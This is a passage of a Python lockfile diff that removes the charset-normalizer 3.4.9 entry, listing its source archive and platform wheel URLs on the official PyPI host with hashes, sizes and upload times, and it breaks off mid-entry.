name = "charset-normalizer" -version = "3.4.9" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/bd/2a/23f34ec9d04624958e137efdc394888716353190e75f25dd22c7a2c7a8aa/charset_normalizer-3.4.9.tar.gz", hash = "sha256:673611bbd43f0810bec0b0f028ddeaaa501190339cac411f347ac76917c3ae7b", size = 152439, upload-time = "2026-07-07T14:34:58.454Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ad/81/8e983840c6e5b93b33c2ba81aa3d52c2e42f0e9a690ce7607a2e61da4a5c/charset_normalizer-3.4.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd6280cf040f233bd7d3407b743b4b4c74f70e8e1c4199cb112a62c941c0772a", size = 322240, upload-time = "2026-07-07T14:32:36.236Z" }, - { url = "https://files.pythonhosted.org/packages/de/d1/b4319dc3229d8272fba305e206fc0a148e2de8d4087917ce62ae6382f359/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa99adc8f081b475a12843953db36831eaf83ec33eb46a90629ca6a5de45a616", size = 216475, upload-time = "2026-07-07T14:32:38.142Z" }, - { url = "https://files.pythonhosted.org/packages/80/33/6c99c1b3e6b8bf730e1bc809b9a2608f224145069114c479a2e9e1494346/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c1225416b463483160e4af85d5fc3a9690ccb53fd4b1865a6437825f5ede3209", size = 238670, upload-time = "2026-07-07T14:32:39.658Z" }, - { url = "https://files.pythonhosted.org/packages/7f/f4/ffbb83546e1f198ecc70ecd372b65cf2b50f9068b380abd67640f17a8e18/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:16d10d789dd9bcca1173c95af82c58433122564b7bc39385124be735a35cbe99", size = 233476, upload-time = "2026-07-07T14:32:41.155Z" }, - { url = "https://files.pythonhosted.org/packages/e8/5f/b98b8da398637b551e427e7be922bdec19177dc54d6811dcdaa503f23aac/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bb41182d93ea91f60b4bc8fbf4c820c69ef8a12ab2d917f3f1834f1acad07e8", size = 223817, upload-time = "2026-07-07T14:32:42.592Z" }, - { url = "https://files.pythonhosted.org/packages/36/31/a276bb2e66243072a3fd06fdcab9cbb61a305b02143d70d2bda21d888fa8/charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:bcf74c1df76758a395bf0af608c04c82257523f55c9868b334f06270d0f2112b", size = 207974, upload-time = "2026-07-07T14:32:44.258Z" }, - { url = "https://files.pythonhosted.org/packages/5e/be/7ee4453d7e88dfbc4104ccd34900b9f2c7c17dac22881865fe0e82424a25/charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b5314963fce9b0b12743891de876e724997864ee22aa496f903f426c7e2fa5b2", size = 221655, upload-time = "2026-07-07T14:32:45.64Z" }, - { url = "https://files.pythonhosted.org/packages/1d/85/181c652953eb5276d198f375b1dd641047392050098100a3a02d6534f657/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e9701d0049d92c16703a42771b98d560b95248949f23f8cf7b4eddd201814fb9", size = 219229, upload-time = "2026-07-07T14:32:47.376Z" }, - { url = "https://files.pythonhosted.org/packages/0c/e7/aaf6da33fc9f4691cda8f7efbc9f69179d3d39ec8a4799baf273ee1d8db0/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:65a7ff3f705e57d392f7261b6d0550fe137c3019477431f1c355e0db0a7d3e15", size = 209704, upload-time = "2026-07-07T14:32:48.855Z" }, - { url = "https://files.pythonhosted.org/packages/63/01/f2fb3bd3a73be48b173ee0c6aa8d2497af97d5663a8c4c4b491de4c62f7a/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79580094b00d1789d1f93ea55bc43cb2f611910c72235b7657f3482ddcc1b22d", size = 226243, upload-time = "2026-07-07T14:32:50.239Z" }, - { url = "https://files.pythonhosted.org/packages/c4/02/c57a22739fe05246b0b5783b3bfb6afaac4eebb46f3ececdfb2f048f780e/charset_normalizer-3.4.9-cp310-cp310-win32.whl", hash = "sha256:432786d3561e69aeeae6c7e8648964ce0ad05736120135601f87ac26b9c83381", size = 150935, upload-time = "2026-07-07T14:32:51.676Z" }, - { url = "https://files.pythonhosted.org/packages/37/8d/ca39a7559a4797505530d084fd3a49a2c959efbbbff146302fb7be4e3b35/charset_normalizer-3.4.9-cp310-cp310-win_amd64.whl", hash = "sha256:8c041122946b7ba21bb32c45b1aa57b1be35527690aeb3c5c234521085632eee", size = 162314, upload-time = "2026-07-07T14:32:53.193Z" }, - { url = "https://files.pythonhosted.org/packages/01/da/a44bd7a13d426e69e4894557106cd58669097bfad4a8681123b618fbfc5d/charset_normalizer-3.4.9-cp310-cp310-win_arm64.whl", hash = "sha256:375b83ed0aecfce76c16d198fbc21f3b11b337d68662bea0a995046682a11419", size = 153075, upload-time = "2026-07-07T14:32:54.554Z" }, - { url = "https://files.pythonhosted.org/packages/0b/e3/85ec501f206fb049259288c1f3506e53876937fb00edb47009348e66756b/charset_normalizer-3.4.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0e94703ec9684807f20cfb5eed95c70f67f2a8f21ad620146d7b5a13677b93e5", size = 317075, upload-time = "2026-07-07T14:32:56.021Z" }, - { url = "https://files.pythonhosted.org/packages/c3/69/2a5385192e67175f7d8bd5ce4f57c24bc956439adeae5c13a99aa28a53d1/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a441ea71902098ffe78c5abe6c494f44160b4af614ed16c3d9a3b1d17fd8ee2", size = 213837, upload-time = "2026-07-07T14:32:57.78Z" }, - { url = "https://files.pythonhosted.org/packages/b3/46/03ddc7da576d814fe0a36dd1f0fd3258e95404b4b2e3c026b7923d7e133f/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:304b13570067b2547562e308af560b3963857b1fa90bd6afd978130130fe2d6a", size = 235503, upload-time = "2026-07-07T14:32:59.205Z" }, - { url = "https://files.pythonhosted.org/packages/4e/6e/de0229a7ef40f6f9d28a837eebf4ec47bdca5dab4e900c84f22919af636a/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4773092f8019072343a7447203308b176e10199920eb02d6195e81bbb3274c29", size = 229944, upload-time = "2026-07-07T14:33:00.803Z" }, - { url = "https://files.pythonhosted.org/packages/a5/34/49b9060e8418b14fb5cba9cf6bfb383111e2538a03a1fb18e66a95aeb3d5/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:04ce310cb89c15df659582aee80a0603788732a5e017d5bd5c81158106ce249c", size = 221276, upload-time = "2026-07-07T14:33:02.199Z" }, - { url = "https://files.pythonhosted.org/packages/44/95/80282cce0fae9c3061203d723ee87da996aed79679e65d8935050ee7ca1f/charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:c0323c9daef75ef2e5083624b4585018a0c9d5e3b40f607eed81a311270b934b", size = 205260, upload-time = "2026-07-07T14:33:03.698Z" }, - { url = "https://files.pythonhosted.org/packages/0c/74/2f62c8821b969ea3bd67cc2e6976834f48ca5d12664d2559ebcd9bcfbed7/charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:871ff67ea1aad4dfd91736464934d56b32dac49f9fbe16cddba36198a7b3a0db", size = 217786, upload-time = "2026-07-07T14:33:05.12Z" }, - { url = "https://files.pythonhosted.org/packages/d9/8d/feabb82cb49fcad14515b1d7d1ca4787b0da7fc723a212bf89bc9e0fac52/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:67830fc78e67501f47bb950471b2dcb9b35b140084429318e862895a8e89c993", size = 216798, upload-time = "2026-07-07T14:33:06.629Z" }, - { url = "https://files.pythonhosted.org/packages/a5/ff/c946d63bc3786d5b84d960b0f7ab7e25b828486a946b5aa997625bcaf6a6/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3d92613ec25e43b05f042302531ec0f00b8445190e43325880cbd6ab7c2581da", size = 206429, upload-time = "2026-07-07T14:33:08.006Z" }, - { url = "https://files.pythonhosted.org/packages/af/ba/5e5007c370702f85d2ef75791fac7943ed41e080364a673b20142e430e3e/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:280081916dc341820640489a66e4696049401ef1cf6dd672f672e70ad915aca3", size = 223066, upload-time = "2026-07-07T14:33:09.783Z" }, - { url = "https://files.pythonhosted.org/packages/83/d5/9096aa3cf532dfad237861544eb47a0f20d5adbf1039760fed8eaae935d9/charset_normalizer-3.4.9-cp311-cp311-win32.whl", hash = "sha256:ac351b3b8014eead140e77e9717e2992c6bbe30b63bc3422422eb84865412e3d", size = 150456, upload-time = "2026-07-07T14:33:11.217Z" }, - { url = "https://files.pythonhosted.org/packages/ed/a1/e29995109e455dc8eff8d0fac6ae509be39561318a7cfeac5d33ad029213/charset_normalizer-3.4.9-cp311-cp311-win_amd64.whl", hash = "sha256:6366a16e1a25018694d6a5d784d09b046edc9eac40ea2b54065c3052672516a1", size = 161410, upload-time = "2026-07-07T14:33:12.743Z" }, - { url = "https://files.pythonhosted.org/packages/4f/8d/1569f4d0032d6ba2a4fe4591c35bf87868c600c41a71eb5c2e1ffa8464c2/charset_normalizer-3.4.9-cp311-cp311-win_arm64.whl", hash = "sha256:1d22856ffbe153a602df38e4a5464f0b748a54002e0d69ac6d2ad0a197cc99ec", size = 152649, upload-time = "2026-07-07T14:33:14.173Z" }, - { url = "https://files.pythonhosted.org/packages/70/4a/ecbd131485c07fcdfad54e28946d513e3da22ef3b4bd854dcafae54ec739/charset_normalizer-3.4.9-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:45b0cc4e3556cd875e09102988d1ab8356c998b596c9fced84547c8138b487a0", size = 319300, upload-time = "2026-07-07T14:33:15.666Z" }, - { url = "https://files.pythonhosted.org/packages/ec/96/5d9364e3342d69f3a045e1777bc47c85c383e6e9466d561b33fdb419d1f9/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9b2aff1c7b3884512b9512c3eaadd9bab39fb45042ffaaa1dd08ff2b9f8109d9", size = 215802, upload-time = "2026-07-07T14:33:17.031Z" }, - { url = "https://files.pythonhosted.org/packages/4b/4c/5361f9aa7f2cb58d94f2ab831b3d493f69efb1d239654b4744e3c09527cb/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9104ed0bd76a429d46f9ec0dbc9b08ad1d2dcdf2b00a5a0daa1c145329b35b44", size = 237171, upload-time = "2026-07-07T14:33:18.576Z" }, - { url = "https://files.pythonhosted.org/packages/50/78/ce342ca4ff30b2eb49fe6d9578df85974f90c67d294113e94efdd9664cbd/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7b86a2b16095d250c6f58b3d9b2eee6f4147754344f3dab0922f7c9bf7d226c9", size = 233075, upload-time = "2026-07-07T14:33:20.084Z" }, - { url = "https://files.pythonhosted.org/packages/01/c4/4fa4c8b3097a11f3c5f09a35b72ed6855fb1d332469504962ab7bafcc702/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e226f6218febc71f6c1fc2fafb91c226f75bdc1d8fb12d66823716e891608fd", size = 224256, upload-time = "2026-07-07T14:33:21.747Z" }, - { url = "https://files.pythonhosted.org/packages/87/3a/ad914516df7e358a81aae018caa5e0470ba827fa6d763b1d2e87d920a5f6/charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:90c44bc373b7687f6948b693cceaea1348ae0975d7474746559494468e3c1d84", size = 208784, upload-time = "2026-07-07T14:33:23.313Z" }, - { url = "https://files.pythonhosted.org/packages/d7/74/3c12f9755717dfe5c5c87da63f35d765fa0c00382ec26bf23f7fae34f2ba/charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cdef90ae47919cae358d8ab15797a800ed41da7aba5d72419fb510729e2ed4b", size = 219928, upload-time = "2026-07-07T14:33:24.814Z" }, - { url = "https://files.pythonhosted.org/packages/33/9a/895095b83e7907abd6d3d99aad3a38ad0d9686cc186cb0c94c24320fe63e/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:60f44ade2cf573dad7a277e6f8ca9a51a21dda572b13bd7d8539bb3cd5dbedde", size = 218489, upload-time = "2026-07-07T14:33:26.42Z" }, - { url = "https://files.pythonhosted.org/packages/a1/34/ef5c05f412f42520d7709b7d3784d19640839eb7366ded1755511585429f/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a1786910334ed46ab1dd73222f2cd1e05c2c3bb39f6dddb4f8b36fc382058a39", size = 210267, upload-time = "2026-07-07T14:33:27.952Z" }, - { url = "https://files.pythonhosted.org/packages/83/dc/9b29fa4412b318bf3bfea985c35d67eb55e04b59a7c3f2237168b0e0be6f/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:03d07803992c6c7bbc976327f34b18b6160327fc81cb82c9d504720ac0be3b62", size = 226030, upload-time = "2026-07-07T14:33:29.397Z" }, - { url = "https://files.pythonhosted.org/packages/0e/42/6dbc00b8cd16011691203e33570fa42ed5746599a2e878112d16eab403a3/charset_normalizer-3.4.9-cp312-cp312-win32.whl", hash = "sha256:78841cccf1af7b40f6f716338d50c0902dbe88d9f800b3c973b7a9a0a693a642", size = 151185, upload-time = "2026-07-07T14:33:30.781Z" }, - { url = "https://files.pythonhosted.org/packages/80/cc/f920afd1a23c58ccd53c1d36085a71893a4737ff5e66e0371efab6809850/charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl", hash = "sha256:4b3dac63058cc36820b0dd072f89898604e2d39686fe05321729d00d8ac185a0", size = 162557, upload-time = "2026-07-07T14:33:32.176Z" }, - { url = "https://files.pythonhosted.org/packages/f0/e6/0386d43a261ff4e4b30c5857af7df877254b46bec7b9d1b74b6bf969a90b/charset_normalizer-3.4.9-cp312-cp312-win_arm64.whl", hash = "sha256:78fa18e436a1a0e58dbd7e02fc4473f3f32cceb12df9dfca542d075961c307d2", size = 152665, upload-time = "2026-07-07T14:33:33.711Z" }, - { url = "https://files.pythonhosted.org/packages/b2/06/97ec2aeae780b31d742b6352218b43841a6871e2564578ca522dce4a45c3/charset_normalizer-3.4.9-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:440eede837960000d74978f0eba527be106b5b9aee0daf779d395276ed0b0614", size = 317688, upload-time = "2026-07-07T14:33:35.408Z" }, - { url = "https://files.pythonhosted.org/packages/d0/39/8ff066c672434225f8d25f8b739f992af250944392173dcc88362681c9bf/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21e764fd1e70b6a3e205a0e46f3051701f98a8cb3fad66eeb80e48bb502f8698", size = 214982, upload-time = "2026-07-07T14:33:36.996Z" }, - { url = "https://files.pythonhosted.org/packages/92/8f/3a47a3667c83c2df9483d91644c6c107de3bf8874aa1793da9d3012eb986/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e4fd89cc178bced6ad29cb3e6dd4aa63fa5017c3524dbd0b25998fb64a87cc8b", size = 236460, upload-time = "2026-07-07T14:33:38.536Z" }, - { url = "https://files.pythonhosted.org/packages/f1/60/b22cdbee7e4013dab8b0d7647fc6181120fbbbc8f7025c226d15bd5a47fc/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bd47ba7fc3ca94896759ea0109775132d3e7ab921fbf54038e1bab2e46c313c9", size = 232003, upload-time = "2026-07-07T14:33:40.059Z" }, - { url = "https://files.pythonhosted.org/packages/ea/f8/72eb13dcabe7257035cea8aefd922caad2f110d252bf9f67c4c2ca763aee/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:84fd18bcc17526fc2b3c1af7d2b9217d32c9c04448c16ec693b9b4f1985c3d33", size = 223149, upload-time = "2026-07-07T14:33:41.631Z" }, - { url = "https://files.pythonhosted.org/packages/b0/3e/faee8f9de92b14ee1198e9163252bb15efee7301b31256a3b6d9ebfdd0dd/charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:5b10cd92fc5c498b35a8635df6d5a100207f88b63a4dc1de7ef9a548e1e2cd63", size = 207901, upload-time = "2026-07-07T14:33:43.209Z" }, - { url = "https://files.pythonhosted.org/packages/3a/25/45f30093ae27dd7b92a793b61882a38685f993700113ca36e0c9c14965e1/charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a4fbdde9dd4a9ce5fd52c2b3a347bb50cc89483ef783f1cb00d408c13f7a96c0", size = 219176, upload-time = "2026-07-07T14:33:44.725Z" }, - { url = "https://files.pythonhosted.org/packages/48/18/c8f397329c35e32f6a837e488986f4ae03bd2abebc453b48714991630c2f/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:416c229f77e5ea25b3dfd4b582f8d73d7e43c22320302b9ab128a2d3a0b38efe", size = 217356, upload-time = "2026-07-07T14:33:46.192Z" }, - { url = "https://files.pythonhosted.org/packages/86/7e/5ce0bba863470fd1902d5e5843968951bddf38abe4742fc97116ef4598b3/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:75286256590a6320cf106a0d28970d3560aad9ee09aa7b34fb40524792436d35", size = 209614, upload-time = "2026-07-07T14:33:47.705Z" }, - { url = "https://files.pythonhosted.org/packages/6c/ef/2473d3c4d869155be4af1191111d59c4d5c4e0173026f7e85b176e23bf65/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:69b157c5d3292bcd443faca052f3096f637f1e074b98212a933c074ae23dc3b8", size = 224991, upload-time = "2026-07-07T14:33:49.238Z" }, - { url = "https://files.pythonhosted.org/packages/d0/a3/53ddae3db108a088156aa8ddfafd411ebbc1340f48c5573f697b27f69a39/charset_normalizer-3.4.9-cp313-cp313-win32.whl", hash = "sha256:51307f5c71007673a2bf8232ad973483d281e74cb99c8c5a990af1eefa6277d9", size = 150622, upload-time = "2026-07-07T14:33:50.711Z" }, - { url = "https://files.pythonhosted.org/packages/e8/ef/6953a77c7cf2c2ff9998e6f575ab3e380119f100223381565a4f94c1f836/charset_normalizer-3.4.9-cp313-cp313-win_amd64.whl", hash = "sha256:fe2c7201c642b7c308f1675355ad7ff7b66acfe3541625efe5a3ad38f29d6115", size = 161947, upload-time = "2026-07-07T14:33:52.197Z" }, - { url = "https://files.pythonhosted.org/packages/6e/fb/d560d1d1555debbfe7849d9cac6145c1b537709d79576bf22557ed803b82/charset_normalizer-3.4.9-cp313-cp313-win_arm64.whl", hash = "sha256:611057cc5d5c0afc743ba8be6bd828c17e0aaa8643f9d0a9b9bb7dea80eb8012", size = 152594, upload-time = "2026-07-07T14:33:53.486Z" }, - { url = "https://files.pythonhosted.org/packages/7e/8d/496817fa0944239ecae662dd57ea765cfeaec6a735f9f025d4b7b72e7143/charset_normalizer-3.4.9-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:0327fcd59a935777d83410750c50600ee9571af2846f71ce40f25b13da1ef380", size = 317253, upload-time = "2026-07-07T14:33:54.994Z" }, - { url = "https://files.pythonhosted.org/packages/2b/f9/ef4a69ea338ad3c0deceea0f5f7d2380ae8b52132b06d652cb0d2cd86706/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a79d9f4d8001473a30c163556b3c3bfebec837495a412dde78b51672f6134f9", size = 215898, upload-time = "2026-07-07T14:33:56.334Z" }, - { url = "https://files.pythonhosted.org/packages/8c/e7/5ddfd76fc061eb52de219658a4aa431cbacadf0a0219c8854f00da50d289/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:33bdcc2a32c0a0e861f60841a512c8acc658c87c2ac59d89e3a46dacf7d866e4", size = 236718, upload-time = "2026-07-07T14:33:57.9Z" }, - { url = "https://files.pythonhosted.org/packages/49/ba/768fa3f36048d81c477a0ce61f813bc1454d80917ccfe550abd9f44f5e24/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f840ed6d8ecba8255df8c42b87fadeda98ddfc6eeec05e2dc66e26d46dd6f58a", size = 232519, upload-time = "2026-07-07T14:33:59.811Z" }, - { url = "https://files.pythonhosted.org/packages/f4/c4/b3e049d2aa3766180c78507110543d9d50894cc97f57de543f1be521dcdc/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c25fe15c70c59eb7c5ce8c06a1f3fa1da0ecc5ea1e7a5922c40fd2fa9b0d5046", size = 223143, upload-time = "2026-07-07T14:34:01.517Z" }, - { url = "https://files.pythonhosted.org/packages/19/79/55c32d06d76ae4feafe053f061f3e3ab70bcf19f4007797ce8c3efda7830/charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:f7fb7d750cfa0a070d2c24e831fd3481019a60dd317ea2b39acbcebc08b6ed81", size = 206742, upload-time = "2026-07-07T14:34:03.04Z" }, - { url = "https://files.pythonhosted.org/packages/10/e0/47c079dd82d217c807479cd59ffd30af56307ea31c108b75758970459ad3/charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4d1c96a7a18b9690a4d46df09e3e3382406ae3213727cd1019ebade1c4a81917", size = 219191, upload-time = "2026-07-07T14:34:04.657Z" }, - { url = "https://files.pythonhosted.org/packages/42/ab/b9bc2e77d6b44a7e46ef62ec5cac1c9a6ba7b9135a5d560f002696ec9995/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a4cfde78a9f2880208d16a93b795726a3017d5977e08d1e162a7a31322479c41", size = 218328, upload-time = "2026-07-07T14:34:06.115Z" }, - { url = "https://files.pythonhosted.org/packages/f1/78/c9c71d599f5aa2d42bcdd35cbbd46d7f535351a57e40ff7d8e5a7e219401/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:d4d6fcde76f94f5cb9e43e9e9a61f16dacefd228cbbf6f1a09bd9b219a92f1a1", size = 207406, upload-time = "2026-07-07T14:34:07.554Z" }, - { url = "https://files.pythonhosted.org/packages/f6/39/c914445c321a845097ce4f6ac7de9a18228a77b766272125a1ce00d851eb/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:898f0e9068ca27d37f8e83a5b962821df851532e6c4a7d615c1c033f9da6eedf", size = 225157, upload-time = "2026-07-07T14:34:09.061Z" }, - { url = "https://files.pythonhosted.org/packages/9b/f2/c0d4b8508565a36bc5c624e88ed297f5b0b1095011034d7f5b83a69908b5/charset_normalizer-3.4.9-cp314-cp314-win32.whl", hash = "sha256:c1c948747b03be832dceed96ca815cef7360de9aa19d37c730f8e3f6101aca48", size = 151095, upload-time = "2026-07-07T14:34:10.901Z" }, - { url = "https://files.pythonhosted.org/packages/49/fd/a1d26144398c67486422a72bf5812cda22cb4ccfcd95a290fb41ceb4b8e2/charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl", hash = "sha256:16b65ea0f2465b6fb52aa22de5eca612aa964ddfec00a912e26f4656cbef890b", size = 162796, upload-time = "2026-07-07T14:34:12.47Z" }, - { url = "https://files.pythonhosted.org/packages/20/95/d75e82f8ce9fd323ebf059c16c9aadefb22a1ecde13b7840b35835e4886c/charset_normalizer-3.4.9-cp314-cp314-win_arm64.whl", hash = "sha256:40a126142a56b2dfc0aacbad1de8310cbf60da7656db0e6b16eebd48e3e93519", size = 153334, upload-time = "2026-07-07T14:34:14.044Z" }, - { url = "https://files.pythonhosted.org/packages/00/5e/17398df3a139985ba9d11ed072531986f408c8fca952835ef1ab1820c02b/charset_normalizer-3.4.9-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:609b3ba8fcc0fb5ab7af00719d0fb6ad0cb518e48e7712d12fd68f1327951198", size = 338848, upload-time = "2026-07-07T14:34:15.688Z" }, - { url = "https://files.pythonhosted.org/packages/cd/91/7253a32e86b7e1d1239b1b36ba6dd0f021a21107ab33054b53119cc083b9/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51447e9aa2684679af07ca5021c3db526e0284347ebf4ffcec1154c3350cfe32", size = 223022, upload-time = "2026-07-07T14:34:17.248Z" }, - { url = "https://files.pythonhosted.org/packages/cb/32/2e64bd2be10e89c61e57ebe6a93fd98ae88eb7ebe414b5121f22c96c69eb/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cc1b0fff8ead343dae06305f954eb8468ba0ec1a97881f42489d198e4ce3c632", size = 241590, upload-time = "2026-07-07T14:34:18.813Z" }, - { url = "https://files.pythonhosted.org/packages/3d/ef/d96ec496cfea0c21db43b0ad03891308b02388d054cc902cf0e5a1ad6a88/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa36ec09ef71d158186bc79e359ff5fdd6e7996fe8ab638f00d6b93139ba4fcf", size = 239584, upload-time = "2026-07-07T14:34:20.52Z" }, - { url = "https://files.pythonhosted.org/packages/d4/ce/9af95f7876194bd7a14e3dfe4a4de2e0bff02666a3910d72beafd06cc297/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:df115d4d83168fdf2cae48ef1ff6d1cb4c466364e30861b37121de0f3bf1b990", size = 230224, upload-time = "2026-07-07T14:34:22.189Z" }, - { url = "https://files.pythonhosted.org/packages/52/94/af74dde74a3996bd959c350709bfe50e297823d70a8c1cbd54b838880863/charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f86c6358749bd4fda175388691e3ba8c46e24c5347d0afd20f9b7edfc9faf07d", size = 212667, upload-time = "2026-07-07T14:34:23.857Z" }, - { url = "https://files.pythonhosted.org/packages/ee/f0/f1c4fe746c395922961b5916ed1d7d6e7d4c84851d19ed43cc89980ec953/charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:32286a2c8d167e897177b673176c1e3e00d4057caf5d2b64eef9a3666b03018e", size = 227179, upload-time = "2026-07-07T14:34:25.586Z" }, - { url = "https://files.pythonhosted.org/packages/e4/56/6c745619ac397e8871e2bcd3cea1eec86b877488f33888b3aef5c3ed506e/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:83aed2c10721ddd90f68140685391b50811a880af20654c59af6b6c66c40513c", size = 225372, upload-time = "2026-07-07T14:34:27.212Z" }, - { url = "https://files.pythonhosted.org/packages/78/ad/98aae8630ac71f16711968e38a5acfecce41b778bf2f0312851020f565a8/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cd6c3d4b783c556fa00bf540854e42f135e2f256abd29669fcd0da0f2dec79c2", size = 215222, upload-time = "2026-07-07T14:34:28.774Z" }, - { url = "https://files.pythonhosted.org/packages/f7/40/9593d54209765207a7f11073c06494c1721e4ca4a0a426c597679bf7f91e/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ee2f2a527e3c1a6e6411eb4209642e138b544a2d72fe5d0d76daf77b24063534", size = 231958, upload-time = "2026-07-07T14:34:30.345Z" }, - { url = "https://files.pythonhosted.org/packages/b1/27/693ee5e8a18191eb38647360c51cd505013e2bd3b366aa43fd5344c21e3c/charset_normalizer-3.4.9-cp314-cp314t-win32.whl", hash = "sha256:0d861473f743244d349b50f850d10eb87aeb22bbdcc8e64f79273c94af5a8226", size = 155580, upload-time = "2026-07-07T14:34:31.884Z" }, - { url = 